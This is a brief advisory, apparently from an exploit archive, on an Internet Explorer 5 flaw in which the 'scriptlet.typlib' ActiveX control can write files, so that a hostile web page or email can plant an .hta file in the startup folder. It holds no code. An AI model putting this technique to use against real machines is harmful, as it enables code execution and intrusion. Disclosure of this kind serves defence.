Microsoft Internet Explorer 5 - ActiveX Object For Constructing Type Libraries For Scriptlets File Write

Microsoft Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4 ActiveX "Object for constructing type libraries for scriptlets" Vulnerability

source: https://www.securityfocus.com/bid/598/info

The 'scriptlet.typlib' ActiveX control can create, edit, and overwrite files on the local disk. This means that an executable text file (e.g. a '.hta' file) can be written to the startup folder of a remote machine and will be executed the next time that machine reboots. Attackers can exploit this vulnerability via a malicious web page or an email message.
